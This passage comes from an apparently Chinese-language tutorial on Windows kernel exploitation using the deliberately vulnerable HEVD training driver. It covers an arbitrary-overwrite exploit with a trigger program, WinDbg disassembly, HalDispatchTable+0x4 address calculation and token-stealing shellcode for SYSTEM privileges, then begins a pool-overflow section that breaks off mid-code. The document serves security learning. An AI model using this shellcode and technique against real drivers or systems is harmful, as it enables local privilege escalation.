HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)</span></span><br></pre></td></tr></table></figure><p>下面解释一下如何计算控制码，<code>CTL_CODE</code>这个宏负责创建一个独特的系统I/O（输入输出）控制代码(IOCTL)，计算公式如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> xxx_xxx_xxx CTL_CODE(DeviceType, Function, Method, Access)</span></span><br><span class="line"></span><br><span class="line">( ((DeviceType) &lt;&lt; <span class="number">16</span>) | ((Access) &lt;&lt; <span class="number">14</span>) | ((Function) &lt;&lt; <span class="number">2</span>) | (Method))</span><br></pre></td></tr></table></figure><p>通过python我们就可以计算出控制码(注意对应好位置)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>hex((<span class="number">0x00000022</span> &lt;&lt; <span class="number">16</span>) | (<span class="number">0x00000000</span> &lt;&lt; <span class="number">14</span>) | (<span class="number">0x802</span> &lt;&lt; <span class="number">2</span>) | <span class="number">0x00000003</span>)</span><br><span class="line"><span class="string">'0x22200b'</span></span><br></pre></td></tr></table></figure><p>因为<code>WRITE_WHAT_WHERE</code>结构如下，一共有8个字节，前四个是 what ，后四个是 where ，所以我们申请一个buf大小为8个字节传入即可用到 what 和 where 指针</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">WRITE_WHAT_WHERE</span> &#123;</span></span><br><span class="line">        PULONG_PTR What;</span><br><span class="line">        PULONG_PTR Where;</span><br><span class="line">    &#125; WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;</span><br></pre></td></tr></table></figure><p>下面我们来测试一下我们的猜测是否正确</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">8</span>];</span><br><span class="line">DWORD recvBuf;</span><br><span class="line"><span class="comment">// 获取句柄</span></span><br><span class="line">HANDLE hDevice = CreateFileA(<span class="string">"\\\\.\\HackSysExtremeVulnerableDriver"</span>,</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line">OPEN_EXISTING,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Start to get HANDLE...\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (hDevice == INVALID_HANDLE_VALUE || hDevice == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Failed to get HANDLE!!!\n"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="string">'A'</span>, <span class="number">8</span>);</span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x22200b</span>, buf, <span class="number">8</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;recvBuf, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在 windbg 中如果不能显示出 dbgprint 中内容的话输入下面的这条命令即可显示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ed nt!Kd_DEFAULT_Mask 8</span><br></pre></td></tr></table></figure><p>我们运行刚才生成的程序，如我们所愿，这里已经成功调用了<code>ArbitraryOverwriteIoctlHandler</code>函数并且修改了 What 和 Where 指针</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; ed nt!Kd_DEFAULT_Mask 8</span><br><span class="line">kd&gt; g</span><br><span class="line">****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******</span><br><span class="line">[+] UserWriteWhatWhere: 0x0019FC90</span><br><span class="line">[+] WRITE_WHAT_WHERE Size: 0x8</span><br><span class="line">[+] UserWriteWhatWhere-&gt;What: 0x41414141</span><br><span class="line">[+] UserWriteWhatWhere-&gt;Where: 0x41414141</span><br><span class="line">[+] Triggering Arbitrary Overwrite</span><br><span class="line">[-] Exception Code: 0xC0000005</span><br><span class="line">****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******</span><br></pre></td></tr></table></figure><p>当然我们不能只修改成0x41414141，我们所希望的是把what指针覆盖为shellcode的地址，where指针修改为能指向shellcode地址的指针</p><p><strong>Where &amp; What 指针</strong></p><p>这里的where指针我们希望能够覆盖到一个安全可靠的地址，我们在windbg中反编译一下<code>NtQueryIntervalProfile+0x62</code>这个位置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; u nt!NtQueryIntervalProfile+0x62</span><br><span class="line">nt!NtQueryIntervalProfile+0x62:</span><br><span class="line">84159ecd 7507            jne     nt!NtQueryIntervalProfile+0x6b (84159ed6)</span><br><span class="line">84159ecf a1ac7bf783      mov     eax,dword ptr [nt!KiProfileInterval (83f77bac)]</span><br><span class="line">84159ed4 eb05            jmp     nt!NtQueryIntervalProfile+0x70 (84159edb)</span><br><span class="line">84159ed6 e83ae5fbff      call    nt!KeQueryIntervalProfile (84118415)</span><br><span class="line">84159edb 84db            test    bl,bl</span><br><span class="line">84159edd 741b            je      nt!NtQueryIntervalProfile+0x8f (84159efa)</span><br><span class="line">84159edf c745fc01000000  mov     dword ptr [ebp-4],1</span><br><span class="line">84159ee6 8906            mov     dword ptr [esi],eax</span><br></pre></td></tr></table></figure><p>上面可以发现，<code>0x84159ed6</code>这里会调用到一个函数<code>KeQueryIntervalProfile</code>，我们继续跟进</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">2: kd&gt; u KeQueryIntervalProfile</span><br><span class="line">nt!KeQueryIntervalProfile:</span><br><span class="line">840cc415 8bff            mov     edi,edi</span><br><span class="line">840cc417 55              push    ebp</span><br><span class="line">840cc418 8bec            mov     ebp,esp</span><br><span class="line">840cc41a 83ec10          sub     esp,10h</span><br><span class="line">840cc41d 83f801          cmp     eax,1</span><br><span class="line">840cc420 7507            jne     nt!KeQueryIntervalProfile+0x14 (840cc429)</span><br><span class="line">840cc422 a1c86af683      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83f66ac8)]</span><br><span class="line">840cc427 c9              leave</span><br><span class="line">2: kd&gt; u</span><br><span class="line">nt!KeQueryIntervalProfile+0x13:</span><br><span class="line">840cc428 c3              ret</span><br><span class="line">840cc429 8945f0          mov     dword ptr [ebp-10h],eax</span><br><span class="line">840cc42c 8d45fc          lea     eax,[ebp-4]</span><br><span class="line">840cc42f 50              push    eax</span><br><span class="line">840cc430 8d45f0          lea     eax,[ebp-10h]</span><br><span class="line">840cc433 50              push    eax</span><br><span class="line">840cc434 6a0c            push    0Ch</span><br><span class="line">840cc436 6a01            push    1</span><br><span class="line">2: kd&gt; </span><br><span class="line">nt!KeQueryIntervalProfile+0x23:</span><br><span class="line">840cc438 ff15fcc3f283    call    dword ptr [nt!HalDispatchTable+0x4 (83f2c3fc)]</span><br><span class="line">840cc43e 85c0            test    eax,eax</span><br><span class="line">840cc440 7c0b            jl      nt!KeQueryIntervalProfile+0x38 (840cc44d)</span><br><span class="line">840cc442 807df400        cmp     byte ptr [ebp-0Ch],0</span><br><span class="line">840cc446 7405            je      nt!KeQueryIntervalProfile+0x38 (840cc44d)</span><br><span class="line">840cc448 8b45f8          mov     eax,dword ptr [ebp-8]</span><br><span class="line">840cc44b c9              leave</span><br><span class="line">840cc44c c3              ret</span><br></pre></td></tr></table></figure><p>上面的<code>0x840cc438</code>处会有一个指针数组，这里就是我们shellcode需要覆盖的地方，为什么是这个地方呢？这是前人发现的，这个函数在内核中调用的很少，可以安全可靠地覆盖，而不会导致计算机崩溃，对于初学者而言就把这个地方当公式用吧，下面简单看一下<code>HalDispatchTable</code>这个内核服务函数指针表，结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">HAL_DISPATCH HalDispatchTable = &#123;</span><br><span class="line">    HAL_DISPATCH_VERSION,</span><br><span class="line">    xHalQuerySystemInformation,</span><br><span class="line">    xHalSetSystemInformation,</span><br><span class="line">    xHalQueryBusSlots,</span><br><span class="line">    xHalDeviceControl,</span><br><span class="line">    xHalExamineMBR,</span><br><span class="line">    xHalIoAssignDriveLetters,</span><br><span class="line">    xHalIoReadPartitionTable,</span><br><span class="line">    xHalIoSetPartitionInformation,</span><br><span class="line">    xHalIoWritePartitionTable,</span><br><span class="line">    xHalHandlerForBus,                  <span class="comment">// HalReferenceHandlerByBus</span></span><br><span class="line">    xHalReferenceHandler,               <span class="comment">// HalReferenceBusHandler</span></span><br><span class="line">    xHalReferenceHandler                <span class="comment">// HalDereferenceBusHandler</span></span><br><span class="line">    &#125;;</span><br></pre></td></tr></table></figure><p>我们需要很清楚的知道，我们刚才在找什么，我们就是在找where指针的位置，所以我们只需要把where的位置放在<code>HalDispatchTable+0x4</code>处就行了，而what指针我们希望的是存放shellcode的位置</p><ul><li>what -&gt; &amp;shellcode</li><li>where -&gt; HalDispatchTable+0x4</li></ul><h3 id="利用代码-2"><a href="#利用代码-2" class="headerlink" title="利用代码"></a>利用代码</h3><p>上面我们解释了where和what指针的原理，现在我们需要用代码来实现上面的过程，我们主要聚焦点在where指针上，我们需要找到<code>HalDispatchTable+0x4</code>的位置，我们大致分一下流程：</p><ol><li>找到 ntkrnlpa.exe 在 kernel mode 中的基地址</li><li>找到 ntkrnlpa.exe 在 user mode 中的基地址</li><li>找到 HalDispatchTable 在 user mode 中的地址</li><li>计算 HalDispatchTable+0x4 的地址</li></ol><p><strong>ntkrnlpa.exe 在 kernel mode 中的基地址</strong></p><p>我们用<code>EnumDeviceDrivers</code>函数检索系统中每个设备驱动程序的加载地址，然后用<code>GetDeviceDriverBaseNameA</code>函数检索指定设备驱动程序的基本名称，以此确定 ntkrnlpa.exe 在内核模式中的基地址，当然我们需要包含文件头<code>Psapi.h</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">LPVOID <span class="title">NtkrnlpaBase</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">LPVOID lpImageBase[<span class="number">1024</span>];</span><br><span class="line">DWORD lpcbNeeded;</span><br><span class="line">TCHAR lpfileName[<span class="number">1024</span>];</span><br><span class="line"><span class="comment">//Retrieves the load address for each device driver in the system</span></span><br><span class="line">EnumDeviceDrivers(lpImageBase, <span class="keyword">sizeof</span>(lpImageBase), &amp;lpcbNeeded);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">1024</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//Retrieves the base name of the specified device driver</span></span><br><span class="line">GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, <span class="number">48</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="built_in">strcmp</span>(lpfileName, <span class="string">"ntkrnlpa.exe"</span>))</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]success to get %s\n"</span>, lpfileName);</span><br><span class="line"><span class="keyword">return</span> lpImageBase[i];</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>ntkrnlpa.exe 在 user mode 中的基地址</strong></p><p>我们用函数<code>LoadLibrary</code>将指定的模块加载到调用进程的地址空间中，获取它在用户模式下的基地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HMODULE hUserSpaceBase = LoadLibrary(<span class="string">"ntkrnlpa.exe"</span>);</span><br></pre></td></tr></table></figure><p><strong>HalDispatchTable 在 user mode 中的地址</strong></p><p>我们用<code>GetProcAddress</code>函数返回<code>ntkrnlpa.exe</code>中的导出函数<code>HalDispatchTable</code>的地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, <span class="string">"HalDispatchTable"</span>);</span><br></pre></td></tr></table></figure><p><strong>计算 HalDispatchTable+0x4 的地址</strong></p><p>如果你是一个pwn选手的话，你可以把这里的计算过程类比计算函数中的偏移，实际地址 = 基地址 + 偏移，最终我们确定下了<code>HalDispatchTable+0x4</code>的地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + <span class="number">0x4</span>;</span><br></pre></td></tr></table></figure><p>我们计算出了where指针的位置，what指针放好shellcode的位置之后，我们再次调用<code>NtQueryIntervalProfile</code>内核函数就可以实现提权，但是这里的<code>NtQueryIntervalProfile</code>函数需要我们自己去定义(函数的详情建议下一个Windows NT4的源码查看)，函数原型如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS</span><br><span class="line">NtQueryIntervalProfile (</span><br><span class="line">    IN KPROFILE_SOURCE ProfileSource,</span><br><span class="line">    OUT PULONG Interval</span><br><span class="line">    )</span><br></pre></td></tr></table></figure><p>最后你可能还要注意一下堆栈的平衡问题，shellcode中需要平衡一下堆栈</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">static VOID ShellCode()</span><br><span class="line">&#123;</span><br><span class="line">_asm</span><br><span class="line">&#123;</span><br><span class="line">//int 3</span><br><span class="line">pop edi// the stack balancing</span><br><span class="line">pop esi</span><br><span class="line">pop ebx</span><br><span class="line">pushad</span><br><span class="line">mov eax, fs: [124h]// Find the _KTHREAD structure for the current thread</span><br><span class="line">mov eax, [eax + 0x50]   // Find the _EPROCESS structure</span><br><span class="line">mov ecx, eax</span><br><span class="line">mov edx, 4// edx = system PID(4)</span><br><span class="line"></span><br><span class="line">// The loop is to get the _EPROCESS of the system</span><br><span class="line">find_sys_pid :</span><br><span class="line"> mov eax, [eax + 0xb8]// Find the process activity list</span><br><span class="line"> sub eax, 0xb8    // List traversal</span><br><span class="line"> cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID</span><br><span class="line"> jnz find_sys_pid</span><br><span class="line"></span><br><span class="line"> // Replace the Token</span><br><span class="line"> mov edx, [eax + 0xf8]</span><br><span class="line"> mov[ecx + 0xf8], edx</span><br><span class="line"> popad</span><br><span class="line"> //int 3</span><br><span class="line"> ret</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>详细的代码参考<a href="https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/ArbitraryOverwrite/ArbitraryOverwrite/test.c" target="_blank" rel="noopener">这里</a>，最后提权成功</p><p><img src="/2019/06/28/Windows-Kernel-Exploit/10.gif" alt="test"></p><h1 id="0x06：Pool-OverFlow"><a href="#0x06：Pool-OverFlow" class="headerlink" title="0x06：Pool-OverFlow"></a>0x06：Pool-OverFlow</h1><p>这是 Windows kernel exploit 系列的第四部分，前一篇我们讲了任意内存覆盖漏洞，这一篇我们讲内核池溢出漏洞，这一篇篇幅虽然可能不会很多，但是需要很多的前置知识，也就是说，我们需要对Windows内存分配机制有一个深入的理解，我的建议是先看《0day安全：软件漏洞分析技术第二版》中的第五章堆溢出利用，里面很详细的讲解了堆的一些机制，但是主要讨论的是 Windows 2000～Windows XP SP1 平台的堆管理策略，看完了之后，类比堆溢出利用你可以看 Tarjei Mandt 写的 Kernel Pool Exploitation on Windows 7 ，因为我们的实验平台是 Windows 7 的内核池，所以我们需要对内核池深入的理解，总之这个过程是漫长的，并不是一两天就能搞定的，话不多说，进入正题，看此文章之前你需要有以下准备：</p><ul><li>Windows 7 x86 sp1虚拟机</li><li>配置好windbg等调试工具，建议配合VirtualKD使用</li><li>HEVD+OSR Loader配合构造漏洞环境</li></ul><h2 id="0x01：漏洞原理-3"><a href="#0x01：漏洞原理-3" class="headerlink" title="0x01：漏洞原理"></a>0x01：漏洞原理</h2><h3 id="池溢出原理"><a href="#池溢出原理" class="headerlink" title="池溢出原理"></a>池溢出原理</h3><p>我们暂时先不看源码，先用IDA分析<code>HEVD.sys</code>，我们找到<code>TriggerPoolOverflow</code>函数，先静态分析一下函数在干什么，可以看到，函数首先用<a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-exallocatepoolwithtag" target="_blank" rel="noopener"><code>ExAllocatePoolWithTag</code></a>函数分配了一块非分页内存池，然后将一些信息打印出来，又验证缓冲区是否驻留在用户模式下，然后用<a href="https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy?view=vs-2019" target="_blank" rel="noopener"><code>memcpy</code></a>函数将<code>UserBuffer</code>拷贝到<code>KernelBuffer</code>，这和内核栈溢出有点似曾相识的感觉，同样的拷贝，同样的没有控制Size的大小，只是一个是栈溢出一个是池溢出</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">TriggerPoolOverflow</span><span class="params">(<span class="keyword">void</span> *UserBuffer, <span class="keyword">unsigned</span> <span class="keyword">int</span> Size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  PVOID KernelBuffer; <span class="comment">// [esp+1Ch] [ebp-1Ch]</span></span><br><span class="line"></span><br><span class="line">  DbgPrint(<span class="string">"[+] Allocating Pool chunk\n"</span>);</span><br><span class="line">  KernelBuffer = ExAllocatePoolWithTag(<span class="number">0</span>, <span class="number">0x1F8</span>u, <span class="number">0x6B636148</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( KernelBuffer )</span><br><span class="line">  &#123;</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Tag: %s\n"</span>, <span class="string">"'kcaH'"</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Type: %s\n"</span>, <span class="string">"NonPagedPool"</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Size: 0x%X\n"</span>, <span class="number">0x1F8</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Chunk: 0x%p\n"</span>, KernelBuffer);</span><br><span class="line">    ProbeForRead(UserBuffer, <span class="number">0x1F8</span>u, <span class="number">1u</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] UserBuffer: 0x%p\n"</span>, UserBuffer);</span><br><span class="line">    DbgPrint(<span class="string">"[+] UserBuffer Size: 0x%X\n"</span>, Size);</span><br><span class="line">    DbgPrint(<span class="string">"[+] KernelBuffer: 0x%p\n"</span>, KernelBuffer);</span><br><span class="line">    DbgPrint(<span class="string">"[+] KernelBuffer Size: 0x%X\n"</span>, <span class="number">0x1F8</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Triggering Pool Overflow\n"</span>);</span><br><span class="line">    <span class="built_in">memcpy</span>(KernelBuffer, UserBuffer, Size);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Freeing Pool chunk\n"</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Tag: %s\n"</span>, <span class="string">"'kcaH'"</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Chunk: 0x%p\n"</span>, KernelBuffer);</span><br><span class="line">    ExFreePoolWithTag(KernelBuffer, <span class="number">0x6B636148</span>u);</span><br><span class="line">    result = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    DbgPrint(<span class="string">"[-] Unable to allocate Pool chunk\n"</span>);</span><br><span class="line">    result = <span class="number">0xC0000017</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>漏洞的原理很简单，就是没有控制好传入Size的大小，为了更清楚的了解漏洞原理，我们分析一下源码文件<code>BufferOverflowNonPagedPool.c</code>，定位到关键点的位置，也就是说，安全的操作始终对分配的内存有严格的控制</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> SECURE</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// Secure Note: This is secure because the developer is passing a size</span></span><br><span class="line">        <span class="comment">// equal to size of the allocated pool chunk to RtlCopyMemory()/memcpy().</span></span><br><span class="line">        <span class="comment">// Hence, there will be no overflow</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">        DbgPrint(<span class="string">"[+] Triggering Buffer Overflow in NonPagedPool\n"</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// Vulnerability Note: This is a vanilla pool buffer overflow vulnerability</span></span><br><span class="line">        <span class="comment">// because the developer is passing the user supplied value directly to</span></span><br><span class="line">        <span class="comment">// RtlCopyMemory()/memcpy() without validating if the size is greater or</span></span><br><span class="line">        <span class="comment">// equal to the size of the allocated Pool chunk</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        RtlCopyMemory(KernelBuffer, UserBuffer, Size);</span><br></pre></td></tr></table></figure><h2 id="0x02：漏洞利用-3"><a href="#0x02：漏洞利用-3" class="headerlink" title="0x02：漏洞利用"></a>0x02：漏洞利用</h2><h3 id="控制码"><a href="#控制码" class="headerlink" title="控制码"></a>控制码</h3><p>漏洞的原理我们已经清楚了，但是关键点还是在利用上，内核池这个东西利用起来就不像栈一样那么简单了，我们还是一步一步的构造我们的exploit吧，首先根据上一篇的经验我们知道如何计算控制码从而调用<code>TriggerPoolOverflow</code>函数，首先找到<code>HackSysExtremeVulnerableDriver.h</code>中定义<code>IOCTL</code>的地方，找到我们对应的函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL                IOCTL(0x803)</span></span><br></pre></td></tr></table></figure><p>然后我们用python计算一下控制码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>hex((<span class="number">0x00000022</span> &lt;&lt; <span class="number">16</span>) | (<span class="number">0x00000000</span> &lt;&lt; <span class="number">14</span>) | (<span class="number">0x803</span> &lt;&lt; <span class="number">2</span>) | <span class="number">0x00000003</span>)</span><br><span class="line"><span class="string">'0x22200f'</span></span><br></pre></td></tr></table></figure><p>我们验证一下我们的代码，我们先给buf一个比较小的值</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span 